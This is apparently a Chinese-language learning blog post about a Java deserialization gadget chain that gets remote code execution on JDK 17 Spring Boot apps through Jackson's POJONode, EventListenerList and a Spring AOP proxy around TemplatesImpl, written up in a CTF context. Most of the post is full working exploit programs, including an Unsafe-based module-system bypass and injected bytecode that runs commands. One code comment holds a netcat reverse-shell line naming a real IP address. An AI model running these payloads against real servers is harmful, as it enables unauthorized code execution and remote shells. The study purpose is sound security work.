高版本JDK下的spring原生链

前言

今年将近九月份有师傅发现是高版本下的spring原生链,当时未接触java安全或者还相对较浅,无法建立一个基本概念认识,目前也学习了两个月,尝试跟一下这条链子,同时在前几天的N1CTF也考察了这一条链子,总之还是很有必要学习的
在此之前,我们简单了解一下,高版本jdk为啥如此安全(初学java的基本是jdk8,很多赛题也是如此)
这个问题,我们问一下大模型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
我们在jdk早期版本,存在丰富的第三方库,且宽松的访问控制,以及运行时深度反序列化过滤&模块化隔离(jdk的内部类TemplateImpl等被利用)等等  
从JDK 9开始,Oracle和OpenJDK社区投入了大量精力来提升平台安全性,特别是针对反序列化这类攻击。以下是核心的防御机制:
1. 模块系统 - Java Platform Module System (JPMS)
引入版本: JDK 9
核心思想: 强封装和可靠的配置。
如何防御:
缩小攻击面: JDK内部的许多实现类(如 com.sun.*, sun.*, jdk.internal.*)现在都被封装在模块内部。默认情况下,应用程序代码无法通过反射访问这些类的非导出包中的成员。这意味着很多依赖于内部类的“经典”链子(如使用 TemplatesImpl 或 AnnotationInvocationHandler 的变种)在高版本JDK中直接失效。
需要显式授权: 即使使用 --add-opens 命令行参数强行打开了封装,也增加了攻击的复杂性和前置条件,使得漏洞利用难以通用化。
2. 过滤器机制 - 反序列化过滤器
引入版本: JDK 9引入了基础API,JDK 17增强了 ObjectInputFilter。
核心思想: 允许应用程序在反序列化过程中对流内容进行白名单/黑名单检查。
如何防御:
全局设置: 可以通过 jdk.serialFilter 系统属性或 JAVA_OPTS 设置一个全局过滤器,拒绝反序列化已知的危险类(如 org.apache.commons.collections.functors.InvokerTransformer)。
局部设置: 在代码中,可以为每个 ObjectInputStream 单独设置过滤器。
效果: 这相当于在反序列化的大门上安装了一个“安检机”,可以有效地将大量基于历史第三方库的“武器化”对象拒之门外。
3. 运行时限制 - 深度反射过滤器
引入版本: JDK 9,并通过JEP 403(JDK 17)和JEP 451(JDK 21)不断加强。
核心思想: 默认禁止对关键内部模块进行深度反射。
如何防御:
强封装模式: 从JDK 17开始,--illegal-access 选项的默认值从 permit 变为 deny。这意味着,试图使用 setAccessible(true) 来打破模块封装访问私有成员的操作,将会收到一个警告,并在未来版本中直接抛出异常。
效果: 这直接废掉了绝大多数攻击链的“武功”。因为攻击链往往需要修改私有字段(如 sun.reflect.annotation.AnnotationInvocationHandler 的 memberValues)或调用私有构造函数。现在这些操作在默认情况下已经行不通了。
4. 移除或重构危险组件等等

jdk高版本spring原生链

环境搭建

这里引用fushuling师傅的文章高版本jdk-spring原生链
创建一个jdk17的项目加上依赖即可

1
2
3
4
5
6
7
8
9
10
11
12
13
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>3.5.4</version>
</dependency>

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.30.2-GA</version>
</dependency>
</dependencies>

这样就可以开始分析了

学习

其实我们还没有系统学习jackson反序列化,但是,知来者之可追,感觉到了就学,不顾及这么多
据师傅所说,在原jackson反序列化链子上,低版本存在一条原生spring链
BadAttributeValueExpException#readObject->POJONode#toString->getOutputProperties->TemplateImpl利用链
Jackson 是 spring boot 都会默认包含的依赖,因此可以基于它进行分析高版本的链子
但是在jdk17上这个原生启动类是利用不了的
我们还需要找到一个readObject可以触发toString方法=>新的触发toString方法
EventListenerList#readObject
而,我们知道由于高版本jdk模块检测,我们无法调用到getOutputProperties方法
有什么方法吗?

jdk17绕过模块化

强师傅的文章https://boogipop.com/2024/02/05/2024%20N1CTF%20Junior%20Web%20Writeup/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
核心就是利用 Unsafe 篡改 Module 机制,从而绕过 JDK 的强封装(模块访问限制)
private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}

以往我们写恶意类的时候,往往要继承AbstractTranslet类,但是在jdk17下限制了这种操作(模块化)
有无绕过思路呢?

利用jackson->TemplateImpl恶意类生成

链接(除了涉及到了内容,师傅讲的也很好,关于jndi高版本注入的问题)
我们引出这么一个工具类JdkDynamicAopProxy
一般来讲它的作用是

1
Jackson 里的 POJONode 类有着跟 Fastjson 的 JSONObject 类差不多的性质,在 toString 时会触发对象类中的 getter 方法,那么也就可以用打 Fastjson 常用的 TemplatesImpl 的 getOutputProperties 链。但是这条链有一个问题,在 Jackson 依次触发 getter 时,其获取所有 getter 的顺序是使用 java 的 getDeclaredMethods 方法,而根据 Java 官方文档,这个方法获取的顺序是不确定的,如果获取到非预期的 getter 就会直接报错退出了。因此常常会出现有时打通有时打不通的情况,所以后来又对这条链进行了一些改进,这里可以使用 Spring Boot 里一个代理工具类进行封装,使 Jackson 只获取到我们需要的 getter,就实现了稳定利用。

具体实现代码可以跟进链接进行学习
而在此,这个工具类还有一个效果
如果没有aop的话,jackson没法为TemplatesImpl创建一个新的类
如何实现的呢?
但是经过 AOP 代理之后,对外暴露的接口是 javax.xml.transform.Templates,在 java.xml 模块中是公开 exports 的,所以能正常反序列化,最后由代理 AOP 调用 getOutputProperties 实现RCE
如果没有这一层代理直接传入 TemplatesImpl 对象的话,com.sun.org.apache.xalan.internal.xsltc.trax 没有 export 给外部,所以会出现报错

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
package com.learn;
import javax.swing.event.EventListenerList;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
// --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
public class SpringRCE {
public static void main(String[] args) throws Exception{
// 删除writeReplace保证正常反序列化
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
// 把模块强行修改,切换成和目标类一样的 Module 对象
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(SpringRCE.class);
classes.add(Field.class);
classes.add(Method.class);
new SpringRCE().bypassModule(classes);
// ===== EXP 构造 =====
byte[] code1 = getTemplateCode();
byte[] code2 = ClassPool.getDefault().makeClass("fushuling").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);
POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
EventListenerList eventListenerList = getEventListenerList(node);
serialize(eventListenerList, true);
}
public static byte[] serialize(Object obj, boolean flag) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
return baos.toByteArray();
}

public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}

public static byte[] getTemplateCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
String block = "Runtime.getRuntime().exec(\"calc.exe\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}

public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();

//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);

setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}

private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}

这里要调一下JVM,对应反射限制部分
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
这里也是成功弹出计算机了~

当然,走了一遍之后,这里还有很多链子没熟,给的exp也不是很清晰的理解
我们再看一些零碎的东西

链子部分一:EventListenerList#readObject调用toString方法

http://101.36.122.13:4000/2025/08/27/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString/
这里涉及到了一个readObject调用toString方法,我们需要关注一个关键类EventListenerList
这是exp里的写法

1
2
3
4
5
6
7
8
9
10
public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();

//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}

调试一下

1
2
3
4
5
6
7
ClassLoader cl = Thread.currentThread().getContextClassLoader();
EventListener l = (EventListener)s.readObject();
String name = (String) listenerTypeOrNull;
ReflectUtil.checkPackageAccess(name);
@SuppressWarnings("unchecked")
Class<EventListener> tmp = (Class<EventListener>)Class.forName(name, true, cl);
add(tmp, l);

发现add里面会进行这些操作

1
2
3
4
5
if (!t.isInstance(l)) {
throw new IllegalArgumentException("Listener " + l +
" is not of type " + t);
}
这里会判断 l对象是否为t类型,如果不是,就会抛出一个异常,但是在异常对象中进行了字符串于对象的拼接,在这里就会

调用UndoManager#toString方法

1
2
3
public String toString() {
return super.toString() + " limit: " + limit +
" indexOfNextAdd: " + indexOfNextAdd;}

跟进super.toString
来到CompoundEdit#toString
edits该值为Vector类型,这里也会进行字符串与对象的拼接,这里就会调用Vector#toString方法
然后一路
来到这

1
2
3
public StringBuilder append(Object obj) {
return append(String.valueOf(obj));
}

再跟进

1
2
3
public static String valueOf(Object obj) {
return (obj == null) ? "null" : obj.toString();
}

存在调用类的toString方法
具体的构造我们可看此实例
存在一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class User {
public String name;

public User(String name) {
this.name = name;
}

@Override
public String toString() {
try{
Runtime.getRuntime().exec("cacl");
}
catch(Exception e){}
return name;
}
}

exp为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//模块化绕过
patchModule(Test.class, UndoManager.class);

Vector vector = new Vector<>();
vector.add(new User("user"));

UndoManager undoManager = new UndoManager();
Field edits = undoManager.getClass().getSuperclass().getDeclaredField("edits");
edits.setAccessible(true);
edits.set(undoManager, vector);

EventListenerList eventListenerList = new EventListenerList();
Field listenerList = eventListenerList.getClass().getDeclaredField("listenerList");
listenerList.setAccessible(true);
listenerList.set(eventListenerList, new Object[]{Class.class,undoManager});

serialize(eventListenerList);
unserialize("ser.bin");
}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
private static void patchModule(Class clazz,Class goalclass){
try {
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe)unsafeField.get(null);
Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass);
Class currentClass = clazz;
long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass,addr,ObjectModule);
} catch (Exception e) {
}
}
}

该exp和最初同,看看不同形式写法而已
即,readObject->调用指定类的toString方法
这里也是高版本绕过模块检测的思路

链子部分二:POJONode#toString调用任意getter方法

这里自然涉及到jackson链子的内容,但是学一下无伤大雅(越感之前写学习记录思路之简陋)
这里只是一个小润滑

1
2
3
POJONode中不存在有toString方法的实现,在其父类BaseJsonNode中存在有,因其为一个抽象类,所以选择使用POJONode这个没有实现toString方法的类进行利用  
依次调用了toString -> InternalNodeMapper#nodeToString -> ObjectWriter.writeValueAsString方法
最关键的就是最后一个方法的调用了,在最前的Jackson的知识点中,提到了在将一个Bean对象序列化一个json串的使用常用的方法是writeValueAsString方法,并详细分析了,在调用该方法的过程中将会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用

这里我们学习的比较简略,大体知道即可,具体情况再调试分析
可以看这篇文章:https://xz.aliyun.com/news/11955

拓展:Spring-Jackson原生链

这里看这篇文章https://mak4r1.com/write-ups/spring-jackson%E5%8E%9F%E7%94%9F%E9%93%BE/
题目附件在这

https://github.com/Drun1baby/CTF-Repo-2023/tree/main/2023/%E9%98%BF%E9%87%8C%E4%BA%91CTF/web/bypassit1
也可以在这上面尝试一些java题
我们之前提到了spring原生在低版本的链子

环境搭建

简单写一些类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.example;

public class cat {
// 属性
private String name;
private int id;

public cat(String sheep, int i) {
this.name = name;
this.id = id;
}
public cat(){

}

// 无参构造方法

// name的get方法
public String getName() {
System.out.println("success");
return name;
}

// name的set方法
public void setName(String name) {
this.name = name;
}

// id的get方法
public int getId() {
return id;
}

// id的set方法
public void setId(int id) {
this.id = id;
}

// 重写toString方法,方便打印对象信息
}


cat cat123 =new cat("sheep",19);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String jsonData = mapper.writeValueAsString(cat123);//序列化
cat cat2 = mapper.readValue(jsonData, cat.class);//反序列化
System.out.println("反序列化后的数据:"+cat2);

确实在序列化的时候调用了这个getter方法
核心就是将对象进行JSON序列化,调用其getter方法

这里的原理也很简单,就是找到一个类的readObject之后调用了可控对象的toString方法
ArrayNode是Jackson库中的一个类,用于表示JSON数组。
继承了祖先类BaseJsonNode,而BaseJsonNode重写了toString方法
该方法可以json数组中的每一个对象执行JSON序列化,返回String类型
这样就进行了writeValueAsString自动调用其getter方法
这里用的是BadAttributeValueExpException作为启动类,只是在高版本下不可行,低版本还是ok的

有exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
package org.example;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;

public class Test {
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objo.writeObject(obj);
}

public static void unserialize() throws Exception{
ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
obji.readObject();
}

public static byte[][] generateEvilBytes() throws Exception{
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
return evilbyte;

}

public static <T> void setValue(Object obj,String fname,T f) throws Exception{
Field filed = TemplatesImpl.class.getDeclaredField(fname);
filed.setAccessible(true);
filed.set(obj,f);
}

public static void main(String args[]) throws Exception{
TemplatesImpl tmp = new TemplatesImpl();
setValue(tmp,"_tfactory",new TransformerFactoryImpl());
setValue(tmp,"_name","123");
setValue(tmp,"_bytecodes",generateEvilBytes());

ObjectMapper objmapper = new ObjectMapper();
ArrayNode arrayNode =objmapper.createArrayNode();
arrayNode.addPOJO(tmp);

BadAttributeValueExpException bave = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
Field f = BadAttributeValueExpException.class.getDeclaredField("val");
f.setAccessible(true);
f.set(bave,arrayNode);

serialize(bave);
unserialize();

}

}
增加代理之后提高了稳定性

package org.example;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class Test {
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objo.writeObject(obj);
}

public static void unserialize() throws Exception{
ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
obji.readObject();
}

public static byte[][] generateEvilBytes() throws Exception{
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
//nc -e /bin/sh 121.199.39.4 3000
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
return evilbyte;

}

public static <T> void setValue(Object obj,String fname,T f) throws Exception{
Field filed = TemplatesImpl.class.getDeclaredField(fname);
filed.setAccessible(true);
filed.set(obj,f);
}

public static String getb64(Object obj) throws Exception{
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream objout = new ObjectOutputStream(bout);
objout.writeObject(obj);
String base64 = Base64.getEncoder().encodeToString(bout.toByteArray());
return base64;
}

public static void main(String args[]) throws Exception{
//构造恶意TemplatesImpl
TemplatesImpl tmp = new TemplatesImpl();
setValue(tmp,"_tfactory",new TransformerFactoryImpl());
setValue(tmp,"_name","123");
setValue(tmp,"_bytecodes",generateEvilBytes());

//不稳定的触发
// ObjectMapper objmapper = new ObjectMapper();
// ArrayNode arrayNode =objmapper.createArrayNode();
// arrayNode.addPOJO(tmp);

// BadAttributeValueExpException bave = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
// Field f = BadAttributeValueExpException.class.getDeclaredField("val");
// f.setAccessible(true);
// f.set(bave,arrayNode);

// serialize(bave);
// System.out.println(getb64(bave));
// System.out.println(getb64(bave).length());
// unserialize();

//稳定触发
AdvisedSupport support = new AdvisedSupport();
support.setTarget(tmp);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);//得到代理

ObjectMapper objmapper = new ObjectMapper();
ArrayNode arrayNode =objmapper.createArrayNode();
arrayNode.addPOJO(proxy);

BadAttributeValueExpException bave = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
Field f = BadAttributeValueExpException.class.getDeclaredField("val");
f.setAccessible(true);
f.set(bave,arrayNode);

serialize(bave);
System.out.println(getb64(bave));
System.out.println(getb64(bave).length());
unserialize();

}

}

如上代理的具体分析可跟进https://mak4r1.com/write-ups/spring-jackson%E5%8E%9F%E7%94%9F%E9%93%BE/可以关注一下TemplateImpl的不同之前的恶意类生成方式

结语

感觉从一个具体实现入手,学习若干链子的学习积极性能提高一些,还是很有意思的,这里也了解了一些jackson原生链的内容
n1cat就是在一个高版本jdk下,提供了一个jndi注入的入口,但是高版本远程加载class不现实,我们也只能借助打反序列化,打高版本spring原生链,这一个转化之间还需要学习,也是不太顺畅了,多看看jndi注入的文章积累下
如上我们学习到了jackson原生链的打法以及高版本如何入手,以及两个从readObject触发toString方法的小链子等

参考

https://fushuling.com/index.php/2025/08/21/%e9%ab%98%e7%89%88%e6%9c%acjdk%e4%b8%8b%e7%9a%84spring%e5%8e%9f%e7%94%9f%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e9%93%be/
https://curlysean.github.io/2025/08/31/%E9%AB%98%E7%89%88%E6%9C%ACJDKSpring%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/
https://xz.aliyun.com/news/11955
http://101.36.122.13:4000/2025/08/27/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString/
https://xz.aliyun.com/news/11955
https://mak4r1.com/write-ups/spring-jackson%E5%8E%9F%E7%94%9F%E9%93%BE/